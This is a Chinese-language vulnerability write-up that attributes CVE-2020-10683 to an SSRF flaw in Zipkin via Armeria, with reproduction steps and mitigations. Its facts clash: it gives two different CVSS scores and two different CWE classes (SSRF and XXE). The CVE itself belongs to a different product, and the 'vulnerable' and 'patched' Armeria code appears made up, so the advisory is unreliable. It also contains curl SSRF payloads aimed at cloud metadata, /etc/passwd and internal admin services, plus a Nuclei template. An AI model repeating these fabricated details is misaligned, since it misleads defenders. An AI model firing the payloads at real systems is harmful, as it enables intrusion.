一、漏洞简介

1.1 漏洞背景

Zipkin 是一个开源的分布式追踪系统,用于收集、存储和展示微服务架构中的请求链路数据。它帮助开发者调试延迟问题、定位性能瓶颈。Zipkin 的 Web UI 提供了查询和可视化追踪数据的功能。

2020年3月,安全研究人员发现 Zipkin 的依赖组件 armeria 在处理某些 HTTP 请求时存在服务端请求伪造(SSRF)漏洞,攻击者可以通过构造恶意请求访问内部资源。

1.2 漏洞概述(包含 CVE 编号、危害等级、漏洞类型、披露时间等)

项目 内容
漏洞编号 CVE-2020-10683
危害等级 CRITICAL / 9.8
漏洞类型 SSRF漏洞
披露时间 2020-05-01
影响组件 Zipkin 分布式追踪系统
属性 描述
CVE编号 CVE-2020-10683
危害等级 高危 (High)
CVSS评分 8.6
CVSS向量 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
漏洞类型 服务端请求伪造 (SSRF) - CWE-918
影响组件 Zipkin Server (armeria 依赖)
<hr />

补充核验信息:公开时间:2020-05-01;NVD 评分:9.8(CRITICAL);CWE:CWE-611。

二、影响范围

2.1 受影响的版本

  • Zipkin Server < 2.21.1
  • 使用 armeria < 0.99.6 的 Zipkin 版本

2.2 不受影响的版本

  • Zipkin Server >= 2.21.1
  • armeria >= 0.99.6

2.3 触发条件(如特定模块、特定配置、特定运行环境等)

  1. Zipkin Server 暴露在可访问的网络位置
  2. 攻击者能够发送 HTTP 请求到 Zipkin API
  3. Zipkin 使用受影响版本的 armeria 库
<hr />

三、漏洞详情与原理解析

3.1 漏洞触发机制

Zipkin 使用 Armeria 作为 HTTP 服务器框架。该漏洞源于 Armeria 在处理 HTTP 请求时,对 URL 的验证不够严格。

攻击流程:

1. 攻击者构造恶意 HTTP 请求
2. 请求包含特殊构造的 URL file:// 或内部 IP
3. Zipkin Server 解析并处理该请求
4. 服务器尝试访问攻击者指定的内部资源
5. 返回敏感信息如内部服务响应文件内容等

3.2 源码层面的根因分析(结合源码与补丁对比)

问题出在 Armeria 的 HttpRequestDecoder 类中:

// 受影响版本的代码片段
public static boolean isAbsoluteUri(String uri) {
    // 验证逻辑不够严格,某些恶意 URI 可以绕过检查
    int colonIdx = uri.indexOf(':');
    if (colonIdx < 0) {
        return false;
    }
    // 缺少对 file:// 等协议的完整验证
    for (int i = 0; i < colonIdx; i++) {
        if (!isSchemeCharacter(uri.charAt(i))) {
            return false;
        }
    }
    return true;
}

修复后的版本增加了对协议的严格验证:

// 修复版本的代码
private static final Set<String> ALLOWED_SCHEMES =
    Set.of("http", "https");

public static boolean isAllowedUri(String uri) {
    String scheme = extractScheme(uri);
    return ALLOWED_SCHEMES.contains(scheme.toLowerCase());
}
<hr />

四、漏洞复现(可选)

4.1 环境搭建

# 拉取受影响版本的 Zipkin 镜像
docker pull openzipkin/zipkin:2.21.0

# 启动 Zipkin 服务
docker run -d -p 9411:9411 --name zipkin-vuln openzipkin/zipkin:2.21.0

# 确认服务运行
curl http://localhost:9411/health

4.2 PoC 演示与测试过程

# SSRF 测试 - 尝试访问内部服务
curl -X GET "http://localhost:9411/api/v2/traces?serviceName=http://169.254.169.254/latest/meta-data/"

# 尝试读取本地文件
curl -X GET "http://localhost:9411/api/v2/traces?serviceName=file:///etc/passwd"

# 访问内部 HTTP 服务
curl -X GET "http://localhost:9411/api/v2/traces?serviceName=http://internal-service:8080/admin"

Nuclei 检测模板

id: CVE-2020-10683

info:
  name: Zipkin SSRF
  author: security-team
  severity: high
  description: Zipkin SSRF vulnerability via armeria dependency

requests:
  - raw:
      - |
        GET /api/v2/traces?serviceName=http://169.254.169.254/ HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        words:
          - "meta-data"
          - "instance-id"
        condition: or
<hr />

五、修复建议与缓解措施

5.1 官方版本升级建议

立即升级到 Zipkin Server 2.21.1 或更高版本:

# 使用 Docker 升级
docker pull openzipkin/zipkin:latest
docker stop zipkin-vuln
docker rm zipkin-vuln
docker run -d -p 9411:9411 --name zipkin-safe openzipkin/zipkin:latest

5.2 临时缓解方案(如修改配置文件、关闭相关模块、增加 WAF 规则等)

  1. 网络隔离
# 使用防火墙限制访问
iptables -A INPUT -p tcp --dport 9411 -s 10.0.0.0/8 -j ACCEPT
iptables -A INPUT -p tcp --dport 9411 -j DROP
  1. 配置 IP 白名单
# zipkin-config.yml
server:
  allowed-origins: "https://trusted-domain.com"
  1. 启用认证
# 使用反向代理添加认证
# Nginx 配置示例
location /zipkin/ {
    auth_basic "Zipkin Access";
    auth_basic_user_file /etc/nginx/.htpasswd;
    proxy_pass http://localhost:9411/;
}
<hr />

六、参考信息 / 参考链接

6.1 官方安全通告

  • Zipkin 官方公告:https://github.com/openzipkin/zipkin/releases/tag/2.21.1
  • Armeria 安全修复:https://github.com/line/armeria/releases

6.2 其他技术参考资料

  • CVE 详情:https://nvd.nist.gov/vuln/detail/CVE-2020-10683
  • Zipkin 文档:https://zipkin.io/pages/documentation.html